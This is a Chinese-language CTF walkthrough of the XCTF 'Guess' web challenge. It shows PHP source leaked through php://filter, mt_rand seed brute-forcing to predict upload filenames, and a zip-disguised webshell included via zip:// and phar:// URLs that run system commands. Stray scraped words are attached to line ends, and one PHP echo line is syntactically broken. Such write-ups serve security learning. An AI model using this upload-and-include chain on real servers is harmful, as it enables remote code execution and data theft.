文件上傳漏洞

XCTF體驗題庫 : Guess

【原理】文件上傳漏洞
【目的】瞭解使用zip協議
【目標url】http://111.198.29.45:31219/(xctf環境可能已下線php

0x00 首先分析一下,隨便上傳一張jpg圖片上傳,跳轉到 http://111.198.29.45:31219/?page=upload想到文件包含漏洞,嘗試用php://filter僞協議去讀源碼
http://111.198.29.45:31219/?page=php://filter/read=convert.base64-encode/resource=upload這裏注意.php是自動補的,不須要寫。

0x01 Base64 decode解密
<?php
error_reporting(0);
function show_error_message($message)
{
    die("<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function show_message($message)
{
    echo("<div class=\"msg success\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function random_str($length = "32")//上傳的文件被重命名
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();



$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0,999999999);// 生成隨機數作種子
    mt_srand($seed);// 用seed給隨機數發生器播種
    $ss = mt_rand();// 取隨機數
    $hash = md5(session_id() . $ss);//Burp改包Cookie: PHPSESSID=0
    setcookie('SESSI0N', $hash, time() + 3600);
//能夠看見,在mt_srand()播種以後執行了第一次mt_rand(),並且變量$hash的值是可見的。
//但$hash的值是session_id()的返回值與種子拼接後再 MD5 的結果。
    if ($_FILES["file"]["error"] > 0) {
        show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
    }
    $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif")    
            || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/png"))
        && ($_FILES["file-upload-field"]["size"] < 204800));
    $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


    if ($check3) show_error_message("Nope!");
    if ($check2) {   
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
            show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
        } else show_error_message("Something wrong with the upload...");
    } else {
        show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
    }
}
?>

函數mt_rand()在種子相同的時候,給出的隨機數序列是同樣的,因此只要知道了種子,該函數的隨機數即可以預測。
這樣子上傳路徑就知道了html

0x02 將含有一句話的php壓縮成zip(我一直壓成rar了貌似應該也行),重命名成jpg, 上傳獲得。

==重點在文件名,文件名是隨機生成的。==
審計代碼上傳的文件名被改了嘛,爆一爆先是 mt_srand(rand(0, 999999999)) 設置個 seed, 而後返回第一個 mt_rand() ,使用 php_mt_seed 爆破種子。
mt_srand() 的 seed 和輸出序列是對應的,根據第一個 mt_rand() 爆出 seed, 就能夠知道文件名,進行包含了。shell

菜刀鏈接http://111.198.29.45:31219/?page=zip://./uP1O4Ds/xxx.jpg%231.php
不管是rand()函數仍是mt_rand()函數,當隨機數種子相同的時候,不管運行多少次,產生的隨機數序列都是同樣的,大牛已經用c寫了一個爆破種子程序安全

0x03 php_mt_seed,emmm這裏採用的3.4推薦4.0見後面(這步可大體瞅瞅)

http://www.openwall.com/php_mt_seed/
首先咱們下好.tar.gz
sudo tar -zxvf php_mt_seed-3.4.tar.gz -C ../ctf(解壓到ctf文件夾裏)
進入ctf先make(c的就是這樣),出來個php_mt_seed
能夠先寫個PHP看一下本機的mt_rand()
php -r ‘echo mt_rand().」\n」;’ //echo輸出php自動播種種子,自動生成隨機數(1416....)
在這裏插入圖片描述
./php_mt_seed 1416259324 //用php_mt_seed工具把產生的隨機數做爲參數去爆破
種子(1349365831)
在這裏插入圖片描述
是 php manual 中說,自動播種種子是指:在每次調用 mt_rand()函數以前都播種一次種子呢,仍是屢次調用 mt_rand()函數以前,只播種一次種子呢,這對於咱們可否猜到產生的隨機數序列相當重要.
在這裏插入圖片描述服務器

0x04 再實踐

在測試中,在沒有進行手工播種的狀況下產生兩個連續的隨機數,而後去爆破種子,獲得了三個可能種子,通過測試發現其中一個種子產生的隨機數序列和預期的相同,因此能夠猜測在php中產生一系列的隨機數時,只進行了一次播種!想了解到更多
php的隨機數的安全性分析cookie

test.phpsession

<?php  
ini_set('max_execution_time', '0');
    $std = "4b7a77dc528575247da8e4d51f9a8d2f";  // cookie 中的 SESSION
    for($i=0;$i<=999999999;$i++) {
        $ha = md5("0" . $i);  //設爲0而不是空
        if($ha === $std) {
            echo "Success-----------=>" . $i;
            // 爆出隨機數爲 i
            break;
        }
        if($i % 100000000 == 0) echo $i . "\n";
    }
?>

222.phpdom

<?php
$arr = array(2317092339,2686457404,3610056016,3610056017);  //爆出來的種子把上圖的數值填進去
foreach($arr as $a) {
    mt_srand($a);
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
                 "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
                 "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
                 "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
                 "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';
    $ss = mt_rand(); //與服務器的隨機數對應
    for ($i = 1; $i <= 32; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    // echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>";
    echo 'http://111.198.29.45:57784/?page=phar://uP1O4Ds/' . $str . '_test.png/test' . <br>;
}
?>

獲得路徑
在這裏插入圖片描述
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=phpinfo();
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo%20system(%27ls%27);
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo%20system(%27cat%20./flag-Edi98vJF8hnIp.txt%27);函數

zip 僞協議配合文件包含
某些狀況下,環境中存在文件包含漏洞而且能夠上傳文件,可是隻限 jpg 文件。
這時候能夠用 zip 協議,用法以下:
zip://path/archive.zip#dir/file.txt
這個 zip 文件不必定要以.zip爲後綴,只要該文件有 zip 正常的文件結構便可。
好比我要上傳一個shell.php,能夠先添加進壓縮包pack.zip中,而後重命名爲pack.jpg。
這時候上傳這個 jpg 文件,而後使用如 zip 僞協議進行包含:
zip://pack.jpg#shell.php工具

相關文章
相關標籤/搜索